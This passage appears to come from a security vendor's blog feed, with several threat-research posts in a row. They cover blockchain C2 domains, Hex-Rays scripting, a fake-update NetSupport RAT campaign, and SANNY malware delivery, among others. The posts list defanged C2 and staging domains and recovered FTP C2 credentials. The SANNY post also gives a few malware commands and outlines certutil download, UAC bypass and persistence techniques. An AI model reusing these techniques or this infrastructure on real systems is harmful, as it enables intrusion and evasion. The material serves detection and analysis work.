  • Nomoreransom[.]bit
  • esetnod32[.]bit
  • emsisoft[.]bit
  • gandcrab[.]bit

The spawned nslookup process contains the following command (as seen in Figure 15):

  • nslookup <domain>  a.dnspod.com


Figure 15: GandCrab nslookup process creation and command

Emercoin Domains

FireEye iSIGHT Intelligence researchers have identified other blockchain domains being used by cyber criminals, including Emercoin domains .bazar and .coin. Similar to the Namecoin TLD, all records are completely decentralized, un-censorable, and cannot be altered, revoked, or suspended.

Navigating to Emercoin Domains

Emercoin also maintains a peering agreement with OpenNIC, meaning domains registered with the Emercoin's EMCDNS service are accessible to all users of OpenNIC DNS servers. Current root zones supported by EMCDNS are shown in Table 3.

Zone

Intended Purpose

.coin

digital currency and commerce websites

.emc

websites associated with the Emercoin project

.lib

from the words Library and Liberty - that is, knowledge and freedom

.bazar

marketplace

Table 3: Emercoin-supported DNS zones (Emercoin Wiki)

Users also have the option of installing compatible browser plugins that will navigate to Emercoin domains, or routing their traffic through emergate[.]net, which is a gateway maintained by the Emercoin developers.

Emercoin Domain Usage

FireEye iSIGHT Intelligence has observed eCrime actors using Emercoin domains for malicious infrastructure, albeit to a lesser extent. Examples of these operations include:

  • Operators of Joker's Stash, a prolific and well-known card data shop, frequently change the site's URL. Recently, they opted for using a blockchain domain (jstash[.]bazar) instead of Tor, ostensibly for greater operational security.
  • Similarly, the following card shops have also moved to .bazar domains:
    • buybest[.]bazar
    • FRESHSTUFF[.]bazar
    • swipe[.]bazar
    • goodshop[.]bazar
    • easydeals[.]bazar
  • In addition to the hard-coded Namecoin domain, the aforementioned Neutrino sample also contained several hard-coded Emercoin domains:
    • http://brownsloboz[.]bazar
    • http://brownsloboz[.]lib
    • http://brownsloboz[.]emc
  • FireEye iSIGHT Intelligence identified a Gandcrab ransomware sample (MD5: a0259e95e9b3fd7f787134ab2f31ad3c) that leveraged the Emercoin TLD .coin for its C2 communications (Figure 16 and Figure 17).


Figure 16: DNS query for nomoreransom[.]coin


Figure 17: Gandcrab POST request to nomoreransom[.]coin

Outlook

While traditional methods of infrastructure obfuscation such as Tor, bulletproof, and fast-flux hosting will most likely continue for the foreseeable future, we assess that the usage of blockchain domains for malicious infrastructure will continue to gain popularity and usage among cyber criminals worldwide. Coinciding with the expected increase in demand, there will likely be an increasing number of malicious infrastructure offerings within the underground communities that support blockchain domains.

Due to the decentralized and replicated nature of a blockchain, law enforcement takedowns of a malicious domain would likely require that the entire blockchain be shut down – something that is unfeasible to do as many legitimate services run on these blockchains. If law enforcement agencies can identify the individual(s) managing specific malicious blockchain domains, the potential for these takedowns could occur; however, the likelihood for this to happen is heavily reliant on the operational security level maintained by the eCrime actors. Further, as cyber criminals continue to develop methods of infrastructure obfuscation and protection, blockchain domain takedowns will continue to prove difficult.

Solving Ad-hoc Problems with Hex-Rays API

Introduction

IDA Pro is the de facto standard when it comes to binary reverse engineering. Besides being a great disassembler and debugger, it is possible to extend it and include a powerful decompiler by purchasing an additional license from Hex-Rays. The ability to switch between disassembled and decompiled code can greatly reduce the analysis time.

The decompiler (from now on referred to as Hex-Rays) has been around for a long time and has achieved a good level of maturity. However, there seems to be a lack of a concise and complete resources regarding this topic (tutorials or otherwise). In this blog, we aim to close that gap by showcasing examples where scripting Hex-Rays goes a long way.

Overview of a Decompiler

In order to understand how the decompiler works, it’s helpful to first review the normal compilation process.

Compilation and decompilation center around the concept of an Abstract Syntax Tree (AST). In essence, a compiler takes the source code, splits it into tokens according to a grammar, then these tokens are grouped into logical expressions. In this phase of the compilation process, referred to as parsing, the code structure is represented as a complex object, the AST. From the AST, the compiler will produce assembly code for the specified platform.

A decompiler takes the opposite route. From the given assembly code, it works back to produce an AST, and from this to produce pseudocode.

From all the intermediate steps between code and assembly, we are stressing the AST so much because most of the time you will spend using the Hex-Rays API, you will actually be reading and/or modifying the Abstract Syntax Tree (or ctree in Hex-Rays terminology).

Items, Expressions and Statements

Now we know that Hex-Rays’s ctree is a tree-like data structure. The nodes of this tree are either of type cinsn_t or cexpr_t. We will define these in a moment, but for now it is important to know that both derive from a very basic type, namely the citem_t type, as seen in the following code snippet:

Therefore, all nodes in the ctree will have the op property, which indicates the node type (variable, number, logical expression, etc.).

The type of op (ctype_t) is an enumeration where all constants are named either cit_<xyz> (for statements) or cot_<xyz> (for expressions). Keep this in mind, as it will be very important. A quick way to inspect all ctype_t constants and their values is to execute the following code snippet:

This produces the following output:

Let’s dive a bit deeper and explain the two types of nodes: expressions and statements.

It is useful to think about expressions as the “the little logical elements” of your code. They range from simple types such as variables, strings or numerical constants, to small code constructs (assignments, comparisons, additions, logical operations, array indexing, etc.).

These are of type cexpr_t, a large structure containing several members. The members that can be accessed depend on its op value. For example, the member n to obtain the numeric value only makes sense when dealing with constants.

On the other side, we have statements. These correlate roughly to language keywords (if, for, do, while, return, etc.) Most of them are related to control flow and can be thought as “the big picture elements” of your code.

Recapitulating, we have seen how the decompiler exposes this tree-like structure (the ctree), which consists of two types of nodes: expressions and statements. In order to extract information from or modify the decompiled code, we have to interact with the ctree nodes via methods dependent on the node type. However, the following question arises: “How do we reach the nodes?”

This is done via a class exposed by Hex-Rays: the tree visitor (ctree_visitor_t). This class has two virtual methods, visit_insn and visit_expr, that are executed when a statement or expression is found while traversing the ctree. We can create our own visitor classes by inheriting from this one and overloading the corresponding methods.

Example Scripts

In this section, we will use the Hex-Rays API to solve two real-world problems:

  • Identify calls to GetProcAddress to dynamically resolve Windows APIs, assigning the resulting address to a global variable.
  • Display assignments related to stack strings as characters instead of numbers, for easier readability.

GetProcAddress

The first example we will walk through is how to automatically handle renaming global variables that have been dynamically resolved at run time. This is a common technique malware uses to hide its capabilities from static analysis tools. An example of dynamically resolving global variables using GetProcAddress is shown in Figure 1.


Figure 1: Dynamic API resolution using GetProcAddress

There are several ways to rename the global variables, with the simplest being manual copy and paste. However, this task is very repetitive and can be scripted using the Hex-Rays API.

In order to write any Hex-Rays script, it is important to first visualize the ctree. The Hex-Rays SDK includes a sample, sample5, which can be used to view the current function’s ctree. The amount of data shown in a ctree for a function can be overwhelming. A modified version of the sample was used to produce a picture of a sub-ctree for the function shown in Figure 1. The sub-ctree for the single expression: 'dword_1000B2D8 = (int)GetProcAdress(v0, "CreateThread");' is shown in Figure 2.


Figure 2: Sub-ctree for GetProcAddress assignment

With knowledge of the sub-ctree in use, we can write a script to automatically rename all the global variables that are being assigned using this method.

The code to automatically rename all the local variables is shown in Figure 3. The code works by traversing the ctree looking for calls to the GetProcAddress function. Once found, the code takes the name of the function being resolved and finds the global variable that is being set. The code then uses the IDA MakeName API to rename the address to the correct function.


Figure 3: Function renaming global variables

After the script has been executed, we can see in Figure 4 that all the global variables have been renamed to the appropriate function name.


Figure 4: Global variables renamed

Stack Strings

Our next example is a typical issue when dealing with malware: stack strings. This is a technique aimed to make the analysis harder by using arrays of characters instead of strings in the code. An example can be seen in Figure 5; the malware stores each character’s ASCII value in the stack and then references it in the call to sprintf. At a first glance, it’s very difficult to say what is the meaning of this string (unless of course, you know the ASCII table by heart).


Figure 5: Hex-Rays decompiler output. Stack strings are difficult to read.

Our script will modify these assignments to something more readable. The important part of our code is the ctree visitor mentioned earlier, which is shown in Figure 6.


Figure 6: Custom ctree visitor

The logic implemented here is pretty straightforward. We define our subclass of a ctree visitor (line 1) and override its visit_expr method. This will only kick in when an assignment is found (line 9). Another condition to be met is that the left side of the assignment is a variable and the right side a number (line 15). Moreover, the numeric value must be in the readable ASCII range (lines 20 and 21).

Once this kind of expression is found, we will change the type of the right side from a number to a string (lines 26 to 31), and replace its numerical value by the corresponding ASCII character (line 32).

The modified pseudocode after running this script is shown in Figure 7.


Figure 7: Assigned values shown as characters

You can find the complete scripts in our FLARE GitHub repository under decompiler scripts

Conclusion

These two admittedly simple examples should be able to give you an idea of the power of IDA’s decompiler API. In this post we have covered the foundations of all decompiler scripts: the ctree object, a structure composed by expressions and statements representing every element of the code as well the relationships between them. By creating a custom visitor we have shown how to traverse the tree and read or modify the code elements, therefore analyzing or modifying the pseudocode.

Hopefully, this post will motivate you to start writing your own scripts. This is only the beginning!

Do you want to learn more about these tools and techniques from FLARE? Then you should take one of our Black Hat classes in Las Vegas this summer! Our offerings include Malware Analysis Crash Course, macOS Malware for Reverse Engineers, and Malware Analysis Master Class.

References

Although written in 2009, one of the best references is still the original article on the Hex-Rays blog.

Fake Software Update Abuses NetSupport Remote Access Tool

Over the last few months, FireEye has tracked an in-the-wild campaign that leverages compromised sites to spread fake updates. In some cases, the payload was the NetSupport Manager remote access tool (RAT). NetSupport Manager is a commercially available RAT that can be used legitimately by system administrators for remotely accessing client computers. However, malicious actors are abusing this application by installing it to the victims’ systems without their knowledge to gain unauthorized access to their machines. This blog details our analysis of the JavaScript and components used in instances where the identified payload was NetSupport RAT.

Infection Vector

The operator behind these campaigns uses compromised sites to spread fake updates masquerading as Adobe Flash, Chrome, and FireFox updates. When users navigate to the compromised website, the malicious JavaScript file is downloaded, mostly from a DropBox link. Before delivering the payload, the JavaScript sends basic system information to the server. After receiving further commands from the server, it then executes the final JavaScript to deliver the final payload. In our case, the JavaScript that delivers the payload is named Update.js, and it is executed from %AppData% with the help of wscript.exe. Figure 1 shows the infection flow.


Figure 1: Infection Flow

In-Depth Analysis of JavaScript

The initial JavaScript file contains multiple layers of obfuscation. Like other malicious scripts, the first layer has obfuscation that builds and executes the second layer as a new function. The second layer of the JavaScript contains the dec function, which is used to decrypt and execute more JavaScript code. Figure 2 shows a snapshot of the second layer.


Figure 2: Second Layer of Initial JavaScript File

In the second JavaScript file, the malware author uses a tricky method to make the analysis harder for reverse engineers. The author uses the caller and callee function code to get the key for decryption. During normal JavaScript analysis, if an analyst finds any obfuscated script, the analyst tries to de-obfuscate or beautify the script for analysis. JavaScript beautification tools generally add line breaks and tabs to make the script code look better and easier to analyze. The tools also try to rename the local variables and remove unreferenced variables and code from the script, which helps to analyze core code only.

But in this case, since the malware uses the caller and callee function code to derive the key, if the analyst adds or removes anything from the first or second layer script, the script will not be able to retrieve the key and will terminate with an exception. The code snippet in Figure 3 shows this trick.


Figure 3: Anti-Analysis Trick Implemented in JavaScript (Beautified Code)

The code decrypts and executes the JavaScript code as a function. This decrypted function contains code that initiates the network connection. In the decoded function, the command and control (C2) URL and a value named tid are hard-coded in the script and protected with some encoded function.

During its first communication to the server, the malware sends the tid value and the current date of the system in encoded format, and waits for the response from the server. It decodes the server response and executes the response as a function, as shown in Figure 4.


Figure 4: Initial Server Communication and Response

The response from the server is JavaScript code that the malware executes as a function named step2.

The step2 function uses WScript.Network and Windows Management Instrumentation(WMI) to collect the following system information, which it then encodes and sends to the server:

Architecture, ComputerName, UserName, Processors, OS, Domain, Manufacturer, Model, BIOS_Version, AntiSpywareProduct, AntiVirusProduct, MACAddress, Keyboard, PointingDevice, DisplayControllerConfiguration, ProcessList;

After sending the system information to the server, the response from the server contains two parts: content2 and content3.

The script (step2 function) decodes both parts. The decoded content3 part contains the function named as step3, as shown in Figure 5.


Figure 5: Decrypting and Executing Response step3

The step3 function contains code that writes decoded content2 into a %temp% directory as Update.js. Update.js contains code to download and execute the final payload. The step3 function also sends the resulting data, such as runFileResult and _tempFilePath, to the server, as shown in Figure 6.


Figure 6: Script to Drop and Execute Update.js

The Update.js file also contains multi-layer obfuscation. After decoding, the JavaScript contains code to drop multiple files in %AppData%, including a 7zip standalone executable (7za.exe), password-protected archive (Loglist.rtf), and batch script (Upd.cmd). We will talk more about these components later.

JavaScript uses PowerShell commands to download the files from the server. It sets the attribute’s execution policy to bypass and window-style to hidden to hide itself from the end user.

Components of the Attack

Figure 7 shows the index of the malicious server where we have observed the malware author updating the script content.


Figure 7: Index of Malicious Server

  • 7za.exe: 7zip standalone executable
  • LogList.rtf: Password-protected archive file
  • Upd.cmd: Batch script to install the NetSupport Client
  • Downloads.txt: List of IPs (possibly the infected systems)
  • Get.php: Downloads LogList.rtf
Upd.cmd

This file is a batch script that extracts the archive file and installs the remote control tool on the system. The script is obfuscated with the variable substitution method. This file was regularly updated by the malware during our analysis.

After de-obfuscating the script, we can see the batch commands in the script (Figure 8).


Figure 8: De-Obfuscated Upd.cmd Script

The script performs the following tasks:

  1. Extract the archive using the 7zip executable with the password mentioned in the script.
  2. After extraction, delete the downloaded archive file (loglist.rtf).
  3. Disable Windows Error Reporting and App Compatibility.
  4. Add the remote control client executable to the firewall’s allowed program list.
  5. Run remote control tool (client32.exe).
  6. Add Run registry entry with the name “ManifestStore” or downloads shortcut file to Startup folder.
  7. Hide the files using attributes.
  8. Delete all the artifacts (7zip executable, script, archive file).

Note: While analyzing the script, we found some typos in the script (Figure 9). Yes, malware authors make mistakes too. This script might be in beta phase. In the later version of script, the author has removed these typos.


Figure 9: Registry Entry Bloopers

Artifact Cleaning

As mentioned, the script contains code to remove the artifacts used in the attack from the victim’s system. While monitoring the server, we also observed some change in the script related to this code, as shown in Figure 10.


Figure 10: Artifact Cleaning Commands

The highlighted command in one of the variants indicates that it might drop or use this file in the attack. The file could be a decoy document.

Persistence Mechanism

During our analysis, we observed two variants of this attack with different persistence mechanisms.

In the first variant, the malware author uses a RUN registry entry to remain persistent in the system.

In the second variant, the malware author uses the shortcut file (named desktop.ini.lnk), which is hosted on the server. It downloads the shortcut file and places it into the Startup folder, as shown in Figure 11.


Figure 11: Downloading Shortcut File

The target command for the shortcut file points to the remote application “client32.exe,” which was dropped in %AppData%, to start the application on startup.

LogList.rtf

Although the file extension is .rtf, the file is actually a 7zipped archive. This archive file is password-protected and contains the NetSupport Manager RAT. The script upd.cmd contains the password to extract the archive.

The major features provided by the NetSupport tool include:

  • Remote desktop
  • File transfer
  • Remote inventory and system information
  • Launching applications in client’s machine
  • Geolocation
Downloads.txt

This file contains a list of IP addresses, which could be compromised systems. It has IPs along with User-agent. The IP addresses in the file belong to various regions, mostly the U.S., Germany, and the Netherlands.

Conclusion

RATs are widely used for legitimate purposes, often by system administrators. However, since they are legitimate applications and readily available, malware authors can easily abuse them and sometimes can avoid user suspicion as well.

The FireEye HX Endpoint platform successfully detects this attack at the initial phase of the attack cycle.

Acknowledgement

Thanks to my colleagues Dileep Kumar Jallepalli, Rakesh Sharma and Kimberly Goody for their help in the analysis.

Indicators of Compromise

Registry entries

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run :  ManifestStore

HKCU\Software\SeX\KEx

Files

%AppData%\ManifestStore\client32.exe

%AppData%\ManifestStore\client32.ini

%AppData%\ManifestStore\HTCTL32.DLL

%AppData%\ManifestStore\msvcr100.dll

%AppData%\ManifestStore\nskbfltr.inf

%AppData%\ManifestStore\NSM.ini

%AppData%\ManifestStore\NSM.LIC

%AppData%\ManifestStore\nsm_vpro.ini

%AppData%\ManifestStore\pcicapi.dll

%AppData%\ManifestStore\PCICHEK.DLL

%AppData%\ManifestStore\PCICL32.DLL

%AppData%\ManifestStore\remcmdstub.exe

%AppData%\ManifestStore\TCCTL32.DLL

%AppData%\systemupdate\Whitepaper.docx

Shortcut file

            %AppData%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.lnk

Firewall program entry allowing the following application

            %AppData%\ManifestStore\client32.exe

Running process named “client32.exe” from the path “%AppData%\ManifestStore\client32.exe”

Hashes

The following hashes are JavaScript files that use the same obfuscation techniques described in the blog:

fc87951ae927d0fe5eb14027d43b1fc3

e3b0fd6c3c97355b7187c639ad9fb97a

a8e8b2072cbdf41f62e870ec775cb246

6c5fd3258f6eb2a7beaf1c69ee121b9f

31e7e9db74525b255f646baf2583c419

065ed6e04277925dcd6e0ff72c07b65a

12dd86b842a4d3fe067cdb38c3ef089a

350ae71bc3d9f0c1d7377fb4e737d2a4

c749321f56fce04ad8f4c3c31c7f33ff

c7abd2c0b7fd8c19e08fe2a228b021b9

b624735e02b49cfdd78df7542bf8e779

5a082bb45dbab012f17120135856c2fc

dc4bb711580e6b2fafa32353541a3f65

e57e4727100be6f3d243ae08011a18ae

9bf55bf8c2f4072883e01254cba973e6

20a6aa24e5586375c77b4dc1e00716f2

aa2a195d0581a78e01e62beabb03f5f0

99c7a56ba04c435372bea5484861cbf3

8c0d17d472589df4f597002d8f2ba487

227c634e563f256f396b4071ffda2e05

ef315aa749e2e33fc6df09d10ae6745d

341148a5ef714cf6cd98eb0801f07a01

M-Trends 2018

What have incident responders observed and learned from cyber attacks in 2017? Just as in prior years, we have continued to see the cyber security threat landscape evolve. Over the past twelve months we have observed a number of new trends and changes to attacks, but we have also seen how certain trends and predictions from the past have been confirmed or even reconfirmed.

Our 9th edition of M-Trends draws upon the findings of one year of incident response investigations across the globe. This data provides us with insights into the evolution of nation-state sponsored threat actors, new threat groups, and new trends and attacker techniques we have observed during our investigations. We also compare this data to past observations from prior M-Trends reports and continue our tradition of reporting on key metrics and their development over time.

Some of the topics we cover in the 2018 M-Trends report include:

  • How the global median time from compromise to internal discovery has dropped from 80 days in 2016 to 57.5 in 2017.
  • The increase of attacks originating from threat actors sponsored by Iran.
  • Metrics about attacks that have retargeted or even recompromised prior victim organizations, a topic we previously discussed in our 2013 edition of M-Trends.
  • The widening cyber security skills gap and the rising demand for skilled personnel capable of meeting the challenges posed by today’s more sophisticated threat actors.
  • Frequently observed areas of weaknesses in security programs and their relation to security incidents.
  • Observations and lessons we have learned from our red teaming exercises about the effectiveness and gaps of common security controls.

By sharing this report with the security community, we continue our tradition of providing security professionals with insights and knowledge gained from recent breaches. We hope that you find this report useful in your work to strengthen your security posture and defend against the ever evolving threats.

SANNY Malware Delivery Method Updated in Recently Observed Attacks

Introduction

In the third week of March 2018, through FireEye’s Dynamic Threat Intelligence, FireEye discovered malicious macro-based Microsoft Word documents distributing SANNY malware to multiple governments worldwide. Each malicious document lure was crafted in regard to relevant regional geopolitical issues. FireEye has tracked the SANNY malware family since 2012 and believes that it is unique to a group focused on Korean Peninsula issues. This group has consistently targeted diplomatic entities worldwide, primarily using lure documents written in English and Russian.

As part of these recently observed attacks, the threat actor has made significant changes to their usual malware delivery method. The attack is now carried out in multiple stages, with each stage being downloaded from the attacker’s server. Command line evasion techniques, the capability to infect systems running Windows 10, and use of recent User Account Control (UAC) bypass techniques have also been added.

Document Details

The following two documents, detailed below, have been observed in the latest round of attacks:

MD5 hash: c538b2b2628bba25d68ad601e00ad150
SHA256 hash: b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4
Original Filename: РГНФ 2018-2019.doc

The document shown in Figure 1 discusses Eurasian geopolitics as they relate to China, as well as Russia’s security.


Figure 1: Sample document written in Russian

MD5 hash: 7b0f14d8cd370625aeb8a6af66af28ac
SHA256 hash: e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1
Original Filename: Copy of communication from Security Council Committee (1718).doc

The document shown in Figure 2 discusses sanctions on humanitarian operations in the Democratic People’s Republic of Korea (DPRK).


Figure 2: Sample document written in English

Macro Analysis

In both documents, an embedded macro stores the malicious command line to be executed in the TextBox property (TextBox1.Text) of the document. This TextBox property is first accessed by the macro to execute the command on the system and is then overwritten to delete evidence of the command line.

Stage 1: BAT File Download

In Stage 1, the macro leverages the legitimate Microsoft Windows certutil.exe utility to download an encoded Windows Batch (BAT) file from the following URL: http://more.1apps[.]com/1.txt. The macro then decodes the encoded file and drops it in the %temp% directory with the name: 1.bat.

There were a few interesting observations in the command line:

  1. The macro copies the Microsoft Windows certutil.exe utility to the %temp% directory with the name: ct.exe. One of the reasons for this is to evade detection by security products. Recently, FireEye has observed other threat actors using certutil.exe for malicious purposes. By renaming “certutil.exe” before execution, the malware authors are attempting to evade simple file-name based heuristic detections.
  2. The malicious BAT file is stored as the contents of a fake PEM encoded SSL certificate (with the BEGIN and END markers) on the Stage 1 URL, as shown in Figure 3.  The “certutil.exe” utility is then leveraged to both strip the BEGIN/END markers and decode the Base64 contents of the file. FireEye has not previously observed the malware authors use this technique in past campaigns.


Figure 3: Malicious BAT file stored as an encoded file to appear as an SSL certificate

BAT File Analysis

Once decoded and executed, the BAT file from Stage 1 will download an encoded CAB file from the base URL: hxxp://more.1apps[.]com/. The exact file name downloaded is based on the architecture of the operating system.

  • For a 32-bit operating system: hxxp://more.1apps[.]com/2.txt
  • For a 64-bit operating system: hxxp://more.1apps[.]com/3.txt

Similarly, based on Windows operating system version and architecture, the CAB file is installed using different techniques. For Windows 10, the BAT file uses rundll32 to invoke the appropriate function from update.dll (component inside setup.cab).

  • For a 32-bit operating system: rundll32 update.dll _EntryPoint@16
  • For a 64-bit operating system: rundll32 update.dll EntryPoint

For other versions of Windows, the CAB file is extracted using the legitimate Windows Update Standalone Installer (wusa.exe) directly into the system directory:

The BAT file also checks for the presence of Kaspersky Lab Antivirus software on the machine. If found, CAB installation is changed accordingly in an attempt to bypass detection:

Stage 2: CAB File Analysis

As described in the previous section, the BAT file will download the CAB file based on the architecture of the underlying operating system. The rest of the malicious activities are performed by the downloaded CAB file.

The CAB file contains the following components:

  • install.bat – BAT file used to deploy and execute the components.
  • ipnet.dll – Main component that we refer to as SANNY malware.
  • ipnet.ini – Config file used by SANNY malware.
  • NTWDBLIB.dll – Performs UAC bypass on Windows 7 (32-bit and 64-bit).
  • update.dll – Performs UAC bypass on Windows 10.

install.bat will perform the following essential activities:

  1. Checks the current execution directory of the BAT file. If it is not the Windows system directory, then it will first copy the necessary components (ipnet.dll and ipnet.ini) to the Windows system directory before continuing execution:



  2. Hijacks a legitimate Windows system service, COMSysApp (COM+ System Application) by first stopping this service, and then modifying the appropriate Windows service registry keys to ensure that the malicious ipnet.dll will be loaded when the COMSysApp service is started:



  3. After the hijacked COMSysApp service is started, it will delete all remaining components of the CAB file:

ipnet.dll is the main component inside the CAB file that is used for performing malicious activities. This DLL exports the following two functions:

  1. ServiceMain – Invoked when the hijacked system service, COMSysApp, is started.
  2. Post – Used to perform data exfiltration to the command and control (C2) server using FTP protocol.

The ServiceMain function first performs a check to see if it is being run in the context of svchost.exe or rundll32.exe. If it is being run in the context of svchost.exe, then it will first start the system service before proceeding with the malicious activities. If it is being run in the context of rundll32.exe, then it performs the following activities:

  1. Deletes the module NTWDBLIB.DLL from the disk using the following command:

    cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL

  2. Sets the code page on the system to 65001, which corresponds to UTF-8:

    cmd /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f

Command and Control (C2) Communication

SANNY malware uses the FTP protocol as the C2 communication channel.

FTP Config File

The FTP configuration information used by SANNY malware is encoded and stored inside ipnet.ini.

This file is Base64 encoded using the following custom character set: SbVIn=BU/dqNP2kWw0oCrm9xaJ3tZX6OpFc7Asi4lvuhf-TjMLRQ5GKeEHYgD1yz8

Upon decoding the file, the following credentials can be recovered:

  • FTP Server: ftp.capnix[.]com
  • Username: cnix_21072852
  • Password: vlasimir2017

It then continues to perform the connection to the FTP server decoded from the aforementioned config file, and sets the current directory on the FTP server as “htdocs” using the FtpSetCurrentDirectoryW function.

System Information Collection

For reconnaissance purposes, SANNY malware executes commands on the system to collect information, which is sent to the C2 server.

System information is gathered from the machine using the following command:

The list of running tasks on the system is gathered by executing the following command:

C2 Commands

After successful connection to the FTP server decoded from the configuration file, the malware searches for a file containing the substring “to everyone” in the “htdocs” directory. This file will contain C2 commands to be executed by the malware.

Upon discovery of the file with the “to everyone” substring, the malware will download the file and then performs actions based on the following command names:

  • chip command: This command deletes the existing ipnet.ini configuration file from the file system and creates a new ipnet.ini file with a specified configuration string. The chip commands allows the attacker to migrate malware to a new FTP C2 server. The command has the following syntax: 



  • pull command: This command is used for the purpose of data exfiltration. It has the ability to upload an arbitrary file from the local filesystem to the attacker’s FTP server. The command has the following syntax:

The uploaded file is compressed and encrypted using the routine described later in the Compression and Encoding Data section.

  • put command: This command is used to copy an existing file on the system to a new location and delete the file from the original location. The command has the following syntax:

  • default command: If the command begins with the substring “cmd /c”, but it is not followed by either of the previous commands (chip, pull, and put), then it directly executes the command on the machine using WinExec.
  • /user command: This command will execute a command on the system as the logged in user. The command duplicates the access token of “explorer.exe” and spawns a process using the following steps:

    1. Enumerates the running processes on the system to search for the explorer.exe process and obtain the process ID of explorer.exe.
    2. Obtains the access token for the explorer.exe process with the access flags set to 0x000F01FF.
    3. Starts the application (defined in the C2 command) on the system by calling the CreateProcessAsUser function and using the access token obtained in Step 2.

C2 Command

Purpose

chip

Update the FTP server config file

pull

Upload a file from the machine

put

Copy an existing file to a new destination

/user

Create a new process with explorer.exe access token

default command

Execute a program on the machine using WinExec()

Compression and Encoding Data

SANNY malware uses an interesting mechanism for compressing the contents of data collected from the system and encoding it before exfiltration. Instead of using an archiving utility, the malware leverages Shell.Application COM object and calls the CopyHere method of the IShellDispatch interface to perform compression as follows:

  1. Creates an empty ZIP file with the name: temp.zip in the %temp% directory.
  2. Writes the first 16 bytes of the PK header to the ZIP file.
  3. Calls the CopyHere method of IShellDispatch interface to compress the collected data and write to temp.zip.
  4. Reads the contents of temp.zip to memory.
  5. Deletes temp.zip from the disk.
  6. Creates an empty file, post.txt, in the %temp% directory.
  7. The temp.zip file contents are Base64 encoded (using the same custom character set mentioned in the previous FTP Config File section) and written to the file: %temp%\post.txt.
  8. Calls the FtpPutFileW function to write the contents of post.txt to the remote file with the format: “from <computer_name_timestamp>.txt”

Execution on Windows 7 and User Account Control (UAC) Bypass

NTWDBLIB.dll – This component from the CAB file will be extracted to the %windir%\system32 directory. After this, the cliconfg command is executed by the BAT file.

The purpose of this DLL module is to launch the install.bat file. The file cliconfg.exe is a legitimate Windows binary (SQL Client Configuration Utility), loads the library NTWDBLIB.dll upon execution. Placing a malicious copy of NTWDBLIB.dll in the same directory as cliconfg.exe is a technique known as DLL side-loading, and results in a UAC bypass.

Execution on Windows 10 and UAC Bypass

Update.dll – This component from the CAB file is used to perform UAC bypass on Windows 10. As described in the BAT File Analysis section, if the underlying operating system is Windows 10, then it uses update.dll to begin the execution of code instead of invoking the install.bat file directly.

The main actions performed by update.dll are as follows:

  1. Executes the following commands to setup the Windows registry for UAC bypass:



  2. Leverages a UAC bypass technique that uses the legitimate Windows binary, fodhelper.exe, to perform the UAC bypass on Windows 10 so that the install.bat file is executed with elevated privileges:



  3. Creates an additional BAT file, kill.bat, in the current directory to delete evidence of the UAC bypass. The BAT file kills the current process and deletes the components update.dll and kill.bat from the file system:

Conclusion

This activity shows us that the threat actors using SANNY malware are evolving their malware delivery methods, notably by incorporating UAC bypasses and endpoint evasion techniques. By using a multi-stage attack with a modular architecture, the malware authors increase the difficulty of reverse engineering and potentially evade security solutions.

Users can protect themselves from such attacks by disabling Office macros in their settings and practicing vigilance when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.

Indicators of Compromise

SHA256 Hash

Original Filename

b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4

РГНФ 2018-2019.doc

e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1

 

Copy of communication from Security Council Committee (1718).doc

eb394523df31fc83aefa402f8015c4a46f534c0a1f224151c47e80513ceea46f

1.bat

a2e897c03f313a097dc0f3c5245071fbaeee316cfb3f07785932605046697170

Setup.cab (64-bit)

a3b2c4746f471b4eabc3d91e2d0547c6f3e7a10a92ce119d92fa70a6d7d3a113

Setup.cab (32-bit)

DOSfuscation: Exploring the Depths of Cmd.exe Obfuscation and Detection Techniques

Skilled attackers continually seek out new attack vectors, while employing evasion techniques to maintain the effectiveness of old vectors, in an ever-changing defensive landscape. Many of these threat actors employ obfuscation frameworks for common scripting languages such as JavaScript and PowerShell to thwart signature-based detections of common offensive tradecraft written in these languages.

However, as defenders' visibility into these popular scripting languages increases through better logging and defensive tooling, some stealthy attackers have shifted their tradecraft to languages that do not support this additional visibility. At a minimum, determined attackers are adding dashes of simple obfuscation to previously detected payloads and commands to break rigid detection rules.

In this DOSfuscation white paper, first presented at Black Hat Asia 2018, I showcase nine months of research into several facets of command line argument obfuscation that affect static and dynamic detection approaches. Beginning with cataloguing a half-dozen characters with significant obfuscation capabilities (only two of which I have identified being used in the wild), I then highlight the static detection evasion capabilities of environment variable substring encoding. Combining these techniques, I unveil four never-before-seen payload obfuscation approaches that are fully compatible with any input command on cmd.exe's command line. These obfuscation capabilities de-obfuscate in the current cmd.exe session for both interactive and noninteractive sessions, and avoid all command line logging. Finally, I discuss the building blocks required for these new encoding and obfuscation capabilities and outline several approaches that defenders can take to begin detecting this genre of obfuscation.

As a Senior Applied Security Researcher with FireEye's Advanced Practices Team, I am tasked with researching, developing and deploying new detection capabilities to FireEye's detection platform to stay ahead of advanced threat actors and their ever-changing tactics, techniques and procedures. FireEye customers have been benefiting from multiple layers of innovative obfuscation detection capabilities developed and deployed over the past nine months as a direct result of this research.

Download the DOSfuscation white paper today.

Daniel Bohannon (@danielhbohannon) is a Senior Applied Security Researcher on FireEye's Advanced Practices Team.

Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries

Intrusions Focus on the Engineering and Maritime Sector

Since early 2018, FireEye (including our FireEye as a Service (FaaS), Mandiant Consulting, and iSIGHT Intelligence teams) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities, especially those connected to South China Sea issues. The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013, dubbed TEMP.Periscope. The group has also been reported as “Leviathan” by other security firms.

The current campaign is a sharp escalation of detected activity since summer 2017. Like multiple other Chinese cyber espionage actors, TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit. Known targets of this group have been involved in the maritime industry, as well as engineering-focused entities, and include research institutes, academic organizations, and private firms in the United States. FireEye products have robust detection for the malware used in this campaign.

TEMP.Periscope Background

